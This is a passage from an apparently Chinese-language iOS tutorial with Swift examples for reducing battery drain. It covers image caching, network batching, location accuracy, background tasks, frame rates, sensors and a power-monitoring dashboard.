        // 检查缓存
        if let cachedImage = cache.object(forKey: cacheKey) {
            completion(cachedImage)
            return
        }
        
        // 后台处理
        processingQueue.async {
            let processedImage = self.resize(image, to: size)
            
            // 缓存结果
            if let processedImage = processedImage {
                self.cache.setObject(processedImage, forKey: cacheKey)
            }
            
            DispatchQueue.main.async {
                completion(processedImage)
            }
        }
    }
    
    private func resize(_ image: UIImage, to size: CGSize) -> UIImage? {
        UIGraphicsBeginImageContextWithOptions(size, false, 0.0)
        defer { UIGraphicsEndImageContext() }
        
        image.draw(in: CGRect(origin: .zero, size: size))
        return UIGraphicsGetImageFromCurrentImageContext()
    }
    
    // 降采样大图片
    func downsampleImage(at url: URL, to size: CGSize) -> UIImage? {
        let options: [CFString: Any] = [
            kCGImageSourceCreateThumbnailFromImageIfAbsent: true,
            kCGImageSourceCreateThumbnailWithTransform: true,
            kCGImageSourceShouldCacheImmediately: true,
            kCGImageSourceThumbnailMaxPixelSize: max(size.width, size.height)
        ]
        
        guard let imageSource = CGImageSourceCreateWithURL(url as CFURL, nil),
              let image = CGImageSourceCreateThumbnailAtIndex(imageSource, 0, options as CFDictionary) else {
            return nil
        }
        
        return UIImage(cgImage: image)
    }
}

3. 列表滚动优化

class OptimizedTableViewController: UITableViewController {
    
    private var data: [String] = []
    private let cellReuseIdentifier = &#34;Cell&#34;
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 1. 预估行高,避免实时计算
        tableView.estimatedRowHeight = 44
        tableView.rowHeight = UITableView.automaticDimension
        
        // 2. 注册 cell
        tableView.register(UITableViewCell.self, forCellReuseIdentifier: cellReuseIdentifier)
    }
    
    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return data.count
    }
    
    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        // 3. 复用 cell
        let cell = tableView.dequeueReusableCell(withIdentifier: cellReuseIdentifier, for: indexPath)
        
        // 4. 避免在 cellForRow 中进行复杂计算
        cell.textLabel?.text = data[indexPath.row]
        
        // 5. 异步加载图片
        if let imageURL = getImageURL(for: indexPath.row) {
            cell.imageView?.image = UIImage(named: &#34;placeholder&#34;)
            
            ImageLoader.shared.loadImage(from: imageURL) { image in
                // 检查 cell 是否被复用
                if let currentCell = tableView.cellForRow(at: indexPath) {
                    currentCell.imageView?.image = image
                }
            }
        }
        
        return cell
    }
    
    // 6. 延迟加载
    override func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {
        if !decelerate {
            loadVisibleCells()
        }
    }
    
    override func scrollViewDidEndDecelerating(_ scrollView: UIScrollView) {
        loadVisibleCells()
    }
    
    private func loadVisibleCells() {
        // 只加载可见 cell 的数据
    }
    
    private func getImageURL(for index: Int) -> URL? {
        // 返回图片 URL
        return nil
    }
}

// 图片加载器
class ImageLoader {
    
    static let shared = ImageLoader()
    
    private let cache = NSCache()
    private let loadingQueue = DispatchQueue(label: &#34;com.app.imageLoading&#34;, qos: .utility)
    
    func loadImage(from url: URL, completion: @escaping (UIImage?) -> Void) {
        
        // 检查缓存
        if let cachedImage = cache.object(forKey: url as NSURL) {
            completion(cachedImage)
            return
        }
        
        // 后台加载
        loadingQueue.async {
            guard let data = try? Data(contentsOf: url),
                  let image = UIImage(data: data) else {
                DispatchQueue.main.async {
                    completion(nil)
                }
                return
            }
            
            // 缓存图片
            self.cache.setObject(image, forKey: url as NSURL)
            
            DispatchQueue.main.async {
                completion(image)
            }
        }
    }
}

网络优化

网络优化策略

graph TB
    A[网络优化] --> B[减少请求]
    A --> C[优化传输]
    A --> D[智能调度]
    A --> E[缓存策略]
    
    B --> B1[请求合并]
    B --> B2[批量处理]
    B --> B3[取消无效请求]
    
    C --> C1[数据压缩]
    C --> C2[增量更新]
    C --> C3[协议优化]
    
    D --> D1[WiFi 优先]
    D --> D2[延迟执行]
    D --> D3[后台上传]
    
    E --> E1[本地缓存]
    E --> E2[过期策略]
    E --> E3[预加载]
    
    style A fill:#4ECDC4
    style B fill:#FF6B6B
    style C fill:#FFA07A
    style D fill:#95E1D3
    style E fill:#F38181

1. 网络请求优化

class NetworkOptimizer {
    
    static let shared = NetworkOptimizer()
    
    private var pendingRequests: [String: [Request]] = [:]
    private let batchInterval: TimeInterval = 0.5
    
    struct Request {
        let url: URL
        let completion: (Result) -> Void
    }
    
    private init() {}
    
    // 批量请求
    func batchRequest(url: URL, completion: @escaping (Result) -> Void) {
        
        let key = url.host ?? &#34;&#34;
        
        let request = Request(url: url, completion: completion)
        
        if pendingRequests[key] == nil {
            pendingRequests[key] = []
            
            // 延迟执行,收集更多请求
            DispatchQueue.main.asyncAfter(deadline: .now() + batchInterval) {
                self.executeBatchRequests(for: key)
            }
        }
        
        pendingRequests[key]?.append(request)
    }
    
    private func executeBatchRequests(for key: String) {
        guard let requests = pendingRequests[key], !requests.isEmpty else {
            return
        }
        
        pendingRequests[key] = nil
        
        print(&#34;📦 批量执行 \(requests.count) 个请求&#34;)
        
        // 执行批量请求
        for request in requests {
            URLSession.shared.dataTask(with: request.url) { data, response, error in
                if let error = error {
                    request.completion(.failure(error))
                } else if let data = data {
                    request.completion(.success(data))
                }
            }.resume()
        }
    }
    
    // 根据网络状态调整策略
    func shouldExecuteRequest() -> Bool {
        // 检查网络类型
        let networkType = getNetworkType()
        
        switch networkType {
        case .wifi:
            return true
        case .cellular:
            // 蜂窝网络下,检查是否允许
            return UserDefaults.standard.bool(forKey: &#34;AllowCellularData&#34;)
        case .none:
            return false
        }
    }
    
    enum NetworkType {
        case wifi
        case cellular
        case none
    }
    
    private func getNetworkType() -> NetworkType {
        // 实现网络类型检测
        return .wifi
    }
}

2. 后台上传优化

class BackgroundUploader {
    
    static let shared = BackgroundUploader()
    
    private lazy var session: URLSession = {
        let config = URLSessionConfiguration.background(withIdentifier: &#34;com.app.backgroundUpload&#34;)
        config.isDiscretionary = true  // 允许系统选择最佳时机
        config.sessionSendsLaunchEvents = true
        return URLSession(configuration: config, delegate: self, delegateQueue: nil)
    }()
    
    private init() {}
    
    // 后台上传
    func upload(fileURL: URL, to uploadURL: URL) {
        var request = URLRequest(url: uploadURL)
        request.httpMethod = &#34;POST&#34;
        
        let task = session.uploadTask(with: request, fromFile: fileURL)
        task.earliestBeginDate = Date().addingTimeInterval(60)  // 延迟1分钟
        task.countOfBytesClientExpectsToSend = 1024 * 1024  // 预估大小
        task.countOfBytesClientExpectsToReceive = 1024
        
        task.resume()
        
        print(&#34;📤 后台上传任务已创建&#34;)
    }
}

extension BackgroundUploader: URLSessionDelegate, URLSessionTaskDelegate {
    
    func urlSession(_ session: URLSession, 
                   task: URLSessionTask, 
                   didCompleteWithError error: Error?) {
        if let error = error {
            print(&#34; 上传失败: \(error)&#34;)
        } else {
            print(&#34; 上传成功&#34;)
        }
    }
    
    func urlSessionDidFinishEvents(forBackgroundURLSession session: URLSession) {
        print(&#34; 后台上传任务完成&#34;)
    }
}

定位优化

定位优化策略

graph TB
    A[定位优化] --> B[降低精度]
    A --> C[减少频率]
    A --> D[智能切换]
    A --> E[延迟启动]
    
    B --> B1[使用低精度]
    B --> B2[避免GPS]
    B --> B3[WiFi定位]
    
    C --> C1[增加间隔]
    C --> C2[距离过滤]
    C --> C3[按需定位]
    
    D --> D1[前后台切换]
    D --> D2[场景适配]
    D --> D3[电量感知]
    
    E --> E1[延迟初始化]
    E --> E2[用户触发]
    E --> E3[批量定位]
    
    style A fill:#4ECDC4
    style B fill:#FF6B6B
    style C fill:#FFA07A
    style D fill:#95E1D3
    style E fill:#F38181

1. 定位管理器优化

import CoreLocation

class OptimizedLocationManager: NSObject {
    
    static let shared = OptimizedLocationManager()
    
    private let locationManager = CLLocationManager()
    private var isMonitoring = false
    
    // 定位回调
    var locationUpdateHandler: ((CLLocation) -> Void)?
    
    private override init() {
        super.init()
        setupLocationManager()
    }
    
    private func setupLocationManager() {
        locationManager.delegate = self
        
        // 1. 使用低精度定位
        locationManager.desiredAccuracy = kCLLocationAccuracyHundredMeters
        
        // 2. 设置距离过滤器
        locationManager.distanceFilter = 100  // 移动100米才更新
        
        // 3. 允许后台定位(如需要)
        locationManager.allowsBackgroundLocationUpdates = false
        
        // 4. 暂停自动更新
        locationManager.pausesLocationUpdatesAutomatically = true
        
        // 5. 活动类型
        locationManager.activityType = .other
    }
    
    // 请求权限
    func requestAuthorization() {
        let status = CLLocationManager.authorizationStatus()
        
        switch status {
        case .notDetermined:
            locationManager.requestWhenInUseAuthorization()
        case .authorizedWhenInUse, .authorizedAlways:
            print(&#34; 已授权定位&#34;)
        case .denied, .restricted:
            print(&#34; 定位权限被拒绝&#34;)
        @unknown default:
            break
        }
    }
    
    // 开始定位
    func startUpdatingLocation() {
        guard !isMonitoring else { return }
        
        // 检查电量
        let batteryLevel = UIDevice.current.batteryLevel
        if batteryLevel < 0.2 && batteryLevel > 0 {
            // 低电量模式:降低精度
            locationManager.desiredAccuracy = kCLLocationAccuracyKilometer
            locationManager.distanceFilter = 500
            print(&#34;⚡️ 低电量模式:降低定位精度&#34;)
        }
        
        locationManager.startUpdatingLocation()
        isMonitoring = true
        
        print(&#34;📍 开始定位&#34;)
    }
    
    // 停止定位
    func stopUpdatingLocation() {
        locationManager.stopUpdatingLocation()
        isMonitoring = false
        
        print(&#34;📍 停止定位&#34;)
    }
    
    // 单次定位(更省电)
    func requestSingleLocation() {
        locationManager.requestLocation()
        print(&#34;📍 请求单次定位&#34;)
    }
    
    // 区域监控(地理围栏)
    func startMonitoringRegion(center: CLLocationCoordinate2D, radius: CLLocationDistance) {
        let region = CLCircularRegion(
            center: center,
            radius: radius,
            identifier: &#34;CustomRegion&#34;
        )
        
        region.notifyOnEntry = true
        region.notifyOnExit = true
        
        locationManager.startMonitoring(for: region)
        
        print(&#34;📍 开始区域监控&#34;)
    }
    
    // 重要位置变化(最省电)
    func startMonitoringSignificantLocationChanges() {
        locationManager.startMonitoringSignificantLocationChanges()
        print(&#34;📍 开始监控重要位置变化&#34;)
    }
}

extension OptimizedLocationManager: CLLocationManagerDelegate {
    
    func locationManager(_ manager: CLLocationManager, 
                        didUpdateLocations locations: [CLLocation]) {
        
        guard let location = locations.last else { return }
        
        print(&#34;📍 位置更新: \(location.coordinate.latitude), \(location.coordinate.longitude)&#34;)
        
        locationUpdateHandler?(location)
    }
    
    func locationManager(_ manager: CLLocationManager, 
                        didFailWithError error: Error) {
        print(&#34; 定位失败: \(error.localizedDescription)&#34;)
    }
    
    func locationManager(_ manager: CLLocationManager, 
                        didChangeAuthorization status: CLAuthorizationStatus) {
        switch status {
        case .authorizedWhenInUse, .authorizedAlways:
            print(&#34; 定位权限已授予&#34;)
        case .denied, .restricted:
            print(&#34; 定位权限被拒绝&#34;)
        default:
            break
        }
    }
    
    func locationManagerDidPauseLocationUpdates(_ manager: CLLocationManager) {
        print(&#34;⏸️ 定位已暂停(自动)&#34;)
    }
    
    func locationManagerDidResumeLocationUpdates(_ manager: CLLocationManager) {
        print(&#34;▶️ 定位已恢复&#34;)
    }
}

2. 定位策略选择

class LocationStrategy {
    
    enum Strategy {
        case highAccuracy      // 高精度(GPS)
        case balanced          // 平衡模式
        case lowPower          // 省电模式
        case significantChange // 重要变化
    }
    
    static func selectStrategy(batteryLevel: Float, 
                              isCharging: Bool,
                              userPreference: Strategy?) -> Strategy {
        
        // 用户偏好优先
        if let preference = userPreference {
            return preference
        }
        
        // 充电时使用高精度
        if isCharging {
            return .highAccuracy
        }
        
        // 根据电量选择
        if batteryLevel < 0.2 {
            return .significantChange
        } else if batteryLevel < 0.5 {
            return .lowPower
        } else {
            return .balanced
        }
    }
    
    static func applyStrategy(_ strategy: Strategy, 
                             to locationManager: CLLocationManager) {
        
        switch strategy {
        case .highAccuracy:
            locationManager.desiredAccuracy = kCLLocationAccuracyBest
            locationManager.distanceFilter = kCLDistanceFilterNone
            
        case .balanced:
            locationManager.desiredAccuracy = kCLLocationAccuracyHundredMeters
            locationManager.distanceFilter = 100
            
        case .lowPower:
            locationManager.desiredAccuracy = kCLLocationAccuracyKilometer
            locationManager.distanceFilter = 500
            
        case .significantChange:
            // 使用重要位置变化监控
            locationManager.stopUpdatingLocation()
            locationManager.startMonitoringSignificantLocationChanges()
        }
    }
}

后台任务优化

后台任务策略

graph TB
    A[后台任务优化] --> B[后台刷新]
    A --> C[后台下载]
    A --> D[后台上传]
    A --> E[后台处理]
    
    B --> B1[降低频率]
    B --> B2[批量处理]
    B --> B3[智能调度]
    
    C --> C1[延迟下载]
    C --> C2[WiFi优先]
    C --> C3[断点续传]
    
    D --> D1[延迟上传]
    D --> D2[压缩数据]
    D --> D3[批量上传]
    
    E --> E1[后台任务]
    E --> E2[推送唤醒]
    E --> E3[音频播放]
    
    style A fill:#4ECDC4
    style B fill:#FF6B6B
    style C fill:#FFA07A
    style D fill:#95E1D3
    style E fill:#F38181

1. 后台刷新优化

import UIKit

class BackgroundTaskManager {
    
    static let shared = BackgroundTaskManager()
    
    private var backgroundTask: UIBackgroundTaskIdentifier = .invalid
    
    private init() {}
    
    // 注册后台刷新
    func registerBackgroundRefresh() {
        UIApplication.shared.setMinimumBackgroundFetchInterval(
            UIApplication.backgroundFetchIntervalMinimum
        )
    }
    
    // 执行后台刷新
    func performBackgroundFetch(completion: @escaping (UIBackgroundFetchResult) -> Void) {
        
        print(&#34;🔄 开始后台刷新&#34;)
        
        // 检查电量
        let batteryLevel = UIDevice.current.batteryLevel
        if batteryLevel < 0.2 && batteryLevel > 0 {
            print(&#34;⚡️ 低电量,跳过后台刷新&#34;)
            completion(.noData)
            return
        }
        
        // 执行刷新任务
        fetchNewData { hasNewData in
            if hasNewData {
                completion(.newData)
            } else {
                completion(.noData)
            }
        }
    }
    
    private func fetchNewData(completion: @escaping (Bool) -> Void) {
        // 实现数据获取逻辑
        DispatchQueue.global().asyncAfter(deadline: .now() + 2) {
            completion(true)
        }
    }
    
    // 开始后台任务
    func beginBackgroundTask() {
        backgroundTask = UIApplication.shared.beginBackgroundTask { [weak self] in
            self?.endBackgroundTask()
        }
    }
    
    // 结束后台任务
    func endBackgroundTask() {
        if backgroundTask != .invalid {
            UIApplication.shared.endBackgroundTask(backgroundTask)
            backgroundTask = .invalid
        }
    }
}

// AppDelegate 中使用
extension AppDelegate {
    
    func application(_ application: UIApplication, 
                    performFetchWithCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) {
        
        BackgroundTaskManager.shared.performBackgroundFetch(completion: completionHandler)
    }
    
    func applicationDidEnterBackground(_ application: UIApplication) {
        // 开始后台任务
        BackgroundTaskManager.shared.beginBackgroundTask()
        
        // 执行必要的清理工作
        performCleanup {
            BackgroundTaskManager.shared.endBackgroundTask()
        }
    }
    
    private func performCleanup(completion: @escaping () -> Void) {
        // 保存数据、清理缓存等
        DispatchQueue.global().async {
            // 清理工作
            Thread.sleep(forTimeInterval: 2)
            
            DispatchQueue.main.async {
                completion()
            }
        }
    }
}

2. 后台 URLSession

class BackgroundSessionManager: NSObject {
    
    static let shared = BackgroundSessionManager()
    
    private lazy var session: URLSession = {
        let config = URLSessionConfiguration.background(withIdentifier: &#34;com.app.background&#34;)
        
        // 配置后台会话
        config.isDiscretionary = true  // 允许系统优化
        config.sessionSendsLaunchEvents = true
        config.shouldUseExtendedBackgroundIdleMode = true
        
        return URLSession(configuration: config, delegate: self, delegateQueue: nil)
    }()
    
    private var completionHandlers: [String: () -> Void] = [:]
    
    private override init() {
        super.init()
    }
    
    // 后台下载
    func downloadFile(from url: URL, completion: @escaping () -> Void) {
        let task = session.downloadTask(with: url)
        
        // 设置最早开始时间(延迟执行)
        task.earliestBeginDate = Date().addingTimeInterval(60)
        
        completionHandlers[task.taskIdentifier.description] = completion
        
        task.resume()
        
        print(&#34;📥 后台下载任务已创建&#34;)
    }
    
    // 处理后台事件
    func handleEventsForBackgroundURLSession(identifier: String, 
                                            completionHandler: @escaping () -> Void) {
        completionHandlers[identifier] = completionHandler
    }
}

extension BackgroundSessionManager: URLSessionDownloadDelegate {
    
    func urlSession(_ session: URLSession, 
                   downloadTask: URLSessionDownloadTask, 
                   didFinishDownloadingTo location: URL) {
        
        print(&#34; 下载完成: \(location)&#34;)
        
        // 处理下载的文件
        // ...
    }
    
    func urlSession(_ session: URLSession, 
                   task: URLSessionTask, 
                   didCompleteWithError error: Error?) {
        
        if let error = error {
            print(&#34; 任务失败: \(error)&#34;)
        }
        
        // 调用完成回调
        if let handler = completionHandlers[task.taskIdentifier.description] {
            handler()
            completionHandlers.removeValue(forKey: task.taskIdentifier.description)
        }
    }
    
    func urlSessionDidFinishEvents(forBackgroundURLSession session: URLSession) {
        print(&#34; 后台会话完成&#34;)
        
        DispatchQueue.main.async {
            if let handler = self.completionHandlers[session.configuration.identifier!] {
                handler()
                self.completionHandlers.removeValue(forKey: session.configuration.identifier!)
            }
        }
    }
}

渲染优化

1. 动画优化

class AnimationOptimizer {
    
    // 使用 CADisplayLink 优化动画
    static func optimizeAnimation(duration: TimeInterval, 
                                  animations: @escaping (CGFloat) -> Void,
                                  completion: (() -> Void)? = nil) {
        
        let displayLink = CADisplayLink(target: self, selector: #selector(updateAnimation))
        
        var startTime: CFTimeInterval?
        var progress: CGFloat = 0
        
        displayLink.add(to: .main, forMode: .common)
        
        // 降低帧率以节省电量
        if #available(iOS 15.0, *) {
            displayLink.preferredFrameRateRange = CAFrameRateRange(
                minimum: 30,
                maximum: 60,
                preferred: 60
            )
        } else {
            displayLink.preferredFramesPerSecond = 30
        }
    }
    
    @objc private static func updateAnimation(displayLink: CADisplayLink) {
        // 更新动画
    }
    
    // 暂停不可见视图的动画
    static func pauseAnimationsForInvisibleViews(in view: UIView) {
        if view.window == nil {
            view.layer.speed = 0
        }
    }
    
    // 恢复动画
    static func resumeAnimations(in view: UIView) {
        view.layer.speed = 1
    }
}

2. 屏幕刷新率优化

class DisplayOptimizer {
    
    static let shared = DisplayOptimizer()
    
    private init() {}
    
    // 根据场景调整刷新率
    func adjustFrameRate(for scenario: Scenario) {
        if #available(iOS 15.0, *) {
            let range: CAFrameRateRange
            
            switch scenario {
            case .video:
                // 视频播放:固定60fps
                range = CAFrameRateRange(minimum: 60, maximum: 60, preferred: 60)
                
            case .scrolling:
                // 滚动:30-120fps
                range = CAFrameRateRange(minimum: 30, maximum: 120, preferred: 120)
                
            case .static:
                // 静态内容:降低刷新率
                range = CAFrameRateRange(minimum: 10, maximum: 30, preferred: 30)
                
            case .lowPower:
                // 低电量模式:最低刷新率
                range = CAFrameRateRange(minimum: 10, maximum: 30, preferred: 10)
            }
            
            // 应用到 CADisplayLink 或动画
            print(&#34;🖥️ 调整刷新率: \(range)&#34;)
        }
    }
    
    enum Scenario {
        case video
        case scrolling
        case static
        case lowPower
    }
}

传感器优化

1. 传感器管理

import CoreMotion

class SensorManager {
    
    static let shared = SensorManager()
    
    private let motionManager = CMMotionManager()
    private var isMonitoring = false
    
    private init() {}
    
    // 开始监控传感器
    func startMonitoring() {
        guard !isMonitoring else { return }
        
        // 检查电量
        let batteryLevel = UIDevice.current.batteryLevel
        
        // 根据电量调整采样频率
        if batteryLevel < 0.2 && batteryLevel > 0 {
            motionManager.accelerometerUpdateInterval = 1.0  // 低频
        } else {
            motionManager.accelerometerUpdateInterval = 0.1  // 正常频率
        }
        
        // 开始更新
        motionManager.startAccelerometerUpdates(to: .main) { data, error in
            guard let data = data else { return }
            self.handleAccelerometerData(data)
        }
        
        isMonitoring = true
        print(&#34;📱 传感器监控已启动&#34;)
    }
    
    // 停止监控
    func stopMonitoring() {
        motionManager.stopAccelerometerUpdates()
        motionManager.stopGyroUpdates()
        motionManager.stopMagnetometerUpdates()
        
        isMonitoring = false
        print(&#34;📱 传感器监控已停止&#34;)
    }
    
    private func handleAccelerometerData(_ data: CMAccelerometerData) {
        // 处理加速度计数据
    }
    
    // 使用 CMMotionActivityManager(更省电)
    func startActivityMonitoring() {
        let activityManager = CMMotionActivityManager()
        
        activityManager.startActivityUpdates(to: .main) { activity in
            guard let activity = activity else { return }
            
            if activity.walking {
                print(&#34;🚶 用户正在走路&#34;)
            } else if activity.running {
                print(&#34;🏃 用户正在跑步&#34;)
            } else if activity.stationary {
                print(&#34;🧍 用户静止&#34;)
            }
        }
    }
}

完整监控方案

综合监控面板

class PowerMonitoringDashboard: UIViewController {
    
    private let batteryMonitor = BatteryMonitor.shared
    private let cpuMonitor = CPUMonitor.shared
    private let networkMonitor = NetworkMonitor.shared
    
    private var dashboardView: UIView!
    private var metricsLabels: [UILabel] = []
    
    private var updateTimer: Timer?
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        setupUI()
        startMonitoring()
    }
    
    private func setupUI() {
        view.backgroundColor = .systemBackground
        
        // 创建仪表板视图
        dashboardView = UIView()
        dashboardView.backgroundColor = UIColor.systemGray6
        dashboardView.layer.cornerRadius = 12
        dashboardView.translatesAutoresizingMaskIntoConstraints = false
        view.addSubview(dashboardView)
        
        NSLayoutConstraint.activate([
            dashboardView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: 20),
            dashboardView.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
            dashboardView.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -20),
            dashboardView.heightAnchor.constraint(equalToConstant: 300)
        ])
        
        // 创建指标标签
        let metrics = [&#34;电量&#34;, &#34;CPU&#34;, &#34;网络&#34;, &#34;定位&#34;, &#34;后台任务&#34;]
        
        var previousLabel: UILabel?
        
        for metric in metrics {
            let label = UILabel()
            label.text = &#34;\(metric): --&#34;
            label.font = .monospacedSystemFont(ofSize: 14, weight: .regular)
            label.translatesAutoresizingMaskIntoConstraints = false
            dashboardView.addSubview(label)
            
            NSLayoutConstraint.activate([
                label.leadingAnchor.constraint(equalTo: dashboardView.leadingAnchor, constant: 20),
                label.trailingAnchor.constraint(equalTo: dashboardView.trailingAnchor, constant: -20)
            ])
            
            if let previous = previousLabel {
                label.topAnchor.constraint(equalTo: previous.bottomAnchor, constant: 15).isActive = true
            } else {
                label.topAnchor.constraint(equalTo: dashboardView.topAnchor, constant: 20).isActive = true
            }
            
            metricsLabels.append(label)
            previousLabel = label
        }
    }
    
    private func startMonitoring() {
        // 启动各项监控
        batteryMonitor.startMonitoring()
        cpuMonitor.startMonitoring(interval: 1.0)
        networkMonitor.startMonitoring(interval: 1.0)
        
        // 定时更新UI
        updateTimer = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
            self?.updateMetrics()
        }
    }
    
    private func updateMetrics() {
        // 更新电量
        let batteryLevel = batteryMonitor.getCurrentBatteryLevel()
        let batteryReport = batteryMonitor.getBatteryReport()
        
        var batteryText = &#34;电量: \(Int(batteryLevel * 100))%&#34;
        if let drainRate = batteryReport.drainRate {
            batteryText += &#34; (\(String(format: &#34;%.1f&#34;, drainRate))%/h)&#34;
        }
        metricsLabels[0].text = batteryText
        
        // 更新CPU
        let cpuUsage = cpuMonitor.getCurrentCPUUsage()
        metricsLabels[1].text = &#34;CPU: \(String(format: &#34;%.1f&#34;, cpuUsage))%&#34;
        
        // 更新网络
        if let networkStats = networkMonitor.getNetworkStats() {
            let networkText = &#34;网络: \(String(format: &#34;%.1f&#34;, networkStats.uploadSpeed)) \(String(format: &#34;%.1f&#34;, networkStats.downloadSpeed)) KB/s&#34;
            metricsLabels[2].text = networkText
        }
        
        // 更新定位
       ```swift
        // 更新定位
        metricsLabels[3].text = &#34;定位: \(OptimizedLocationManager.shared.isMonitoring ? &#34;运行中&#34; : &#34;已停止&#34;)&#34;
        
        // 更新后台任务
        let backgroundTaskStatus = BackgroundTaskManager.shared.backgroundTask != .invalid
        metricsLabels[4].text = &#34;后台任务: \(backgroundTaskStatus ? &#34;运行中&#34; : &#34;空闲&#34;)&#34;
        
        // 根据电量状态更新颜色
        updateMetricsColor(batteryLevel: batteryLevel)
    }
    
    private func updateMetricsColor(batteryLevel: Float) {
        let color: UIColor
        
        if batteryLevel < 0.2 {
            color = .systemRed
        } else if batteryLevel < 0.5 {
            color = .systemOrange
        } else {
            color = .systemGreen
        }
        
        metricsLabels[0].textColor = color
    }
    
    override func viewWillDisappear(_ animated: Bool) {
        super.viewWillDisappear(animated)
        
        // 停止监控
        updateTimer?.invalidate()
        updateTimer = nil
    }
    
    deinit {
        batteryMonitor.stopMonitoring()
        cpuMonitor.stopMonitoring()
        networkMonitor.stopMonitoring()
    }
}

电量优化建议系统

class PowerOptimizationAdvisor {
    
    static let shared = PowerOptimizationAdvisor()
    
    struct OptimizationSuggestion {
        let title: String
        let description: String
        let priority: Priority
        let action: (() -> Void)?
        
        enum Priority {
            case high
            case medium
            case low
        }
    }
    
    private init() {}
    
    // 分析并生成优化建议
    func analyzePowerUsage() -> [OptimizationSuggestion] {
        var suggestions: [OptimizationSuggestion] = []
        
        // 1. 检查 CPU 使用率
        let cpuUsage = CPUMonitor.shared.getCurrentCPUUsage()
        if cpuUsage > 50 {
            suggestions.append(OptimizationSuggestion(
                title: &#34;CPU 使用率过高&#34;,
                description: &#34;当前 CPU 使用率 \(String(format: &#34;%.1f&#34;, cpuUsage))%,建议优化计算密集型任务&#34;,
                priority: .high,
                action: {
                    // 提供优化建议或自动优化
                    print(&#34;建议:将计算任务移到后台线程&#34;)
                }
            ))
        }
        
        // 2. 检查网络使用
        if let networkStats = NetworkMonitor.shared.getNetworkStats() {
            if networkStats.uploadSpeed > 100 || networkStats.downloadSpeed > 100 {
                suggestions.append(OptimizationSuggestion(
                    title: &#34;网络流量较大&#34;,
                    description: &#34;当前网络流量较大,建议在 WiFi 环境下使用&#34;,
                    priority: .medium,
                    action: nil
                ))
            }
        }
        
        // 3. 检查定位服务
        if OptimizedLocationManager.shared.isMonitoring {
            let batteryLevel = UIDevice.current.batteryLevel
            if batteryLevel < 0.3 {
                suggestions.append(OptimizationSuggestion(
                    title: &#34;定位服务消耗电量&#34;,
                    description: &#34;当前电量较低,建议降低定位精度或暂停定位&#34;,
                    priority: .high,
                    action: {
                        // 自动降低定位精度
                        OptimizedLocationManager.shared.stopUpdatingLocation()
                        print(&#34;已自动停止定位服务&#34;)
                    }
                ))
            }
        }
        
        // 4. 检查后台刷新
        let backgroundRefreshStatus = UIApplication.shared.backgroundRefreshStatus
        if backgroundRefreshStatus == .available {
            suggestions.append(OptimizationSuggestion(
                title: &#34;后台刷新已启用&#34;,
                description: &#34;后台刷新会消耗额外电量,可在设置中关闭&#34;,
                priority: .low,
                action: nil
            ))
        }
        
        // 5. 检查屏幕亮度
        let brightness = UIScreen.main.brightness
        if brightness > 0.8 {
            suggestions.append(OptimizationSuggestion(
                title: &#34;屏幕亮度较高&#34;,
                description: &#34;当前屏幕亮度 \(Int(brightness * 100))%,建议降低亮度以节省电量&#34;,
                priority: .medium,
                action: {
                    UIScreen.main.brightness = 0.5
                    print(&#34;已自动调整屏幕亮度&#34;)
                }
            ))
        }
        
        return suggestions
    }
    
    // 自动优化
    func autoOptimize() {
        let suggestions = analyzePowerUsage()
        
        // 执行高优先级的优化建议
        let highPrioritySuggestions = suggestions.filter { $0.priority == .high }
        
        for suggestion in highPrioritySuggestions {
            print(&#34;🔧 执行优化: \(suggestion.title)&#34;)
            suggestion.action?()
        }
    }
    
    // 生成优化报告
    func generateOptimizationReport() -> String {
        let suggestions = analyzePowerUsage()
        
        var report = &#34;&#34;&#34;
        
        ========== 电量优化报告 ==========
        生成时间: \(Date())
        
        &#34;&#34;&#34;
        
        if suggestions.isEmpty {
            report += &#34; 当前电量使用良好,无需优化\n&#34;
        } else {
            report += &#34;发现 \(suggestions.count) 项优化建议:\n\n&#34;
            
            for (index, suggestion) in suggestions.enumerated() {
                let priorityEmoji: String
                switch suggestion.priority {
                case .high: priorityEmoji = &#34;🔴&#34;
                case .medium: priorityEmoji = &#34;🟡&#34;
                case .low: priorityEmoji = &#34;🟢&#34;
                }
                
                report += &#34;\(index + 1). \(priorityEmoji) \(suggestion.title)\n&#34;
                report += &#34;   \(suggestion.description)\n\n&#34;
            }
        }
        
        report += &#34;================================\n&#34;
        
        return report
    }
}

电量优化设置页面

class PowerSettingsViewController: UITableViewController {
    
    private let settings = [
        SettingSection(
            title: &#34;定位服务&#34;,
            items: [
                SettingItem(title: &#34;定位精度&#34;, value: &#34;平衡&#34;, action: #selector(adjustLocationAccuracy)),
                SettingItem(title: &#34;后台定位&#34;, value: &#34;关闭&#34;, action: #selector(toggleBackgroundLocation))
            ]
        ),
        SettingSection(
            title: &#34;网络&#34;,
            items: [
                SettingItem(title: &#34;仅 WiFi 下载&#34;, value: &#34;开启&#34;, action: #selector(toggleWiFiOnly)),
                SettingItem(title: &#34;后台刷新&#34;, value: &#34;关闭&#34;, action: #selector(toggleBackgroundRefresh))
            ]
        ),
        SettingSection(
            title: &#34;性能&#34;,
            items: [
                SettingItem(title: &#34;降低动画效果&#34;, value: &#34;关闭&#34;, action: #selector(toggleReduceMotion)),
                SettingItem(title: &#34;自动优化&#34;, value: &#34;开启&#34;, action: #selector(toggleAutoOptimization))
            ]
        )
    ]
    
    struct SettingSection {
        let title: String
        let items: [SettingItem]
    }
    
    struct SettingItem {
        let title: String
        var value: String
        let action: Selector
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        title = &#34;电量优化设置&#34;
        tableView.register(UITableViewCell.self, forCellReuseIdentifier: &#34;Cell&#34;)
    }
    
    // MARK: - Table View Data Source
    
    override func numberOfSections(in tableView: UITableView) -> Int {
        return settings.count
    }
    
    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return settings[section].items.count
    }
    
    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
        return settings[section].title
    }
    
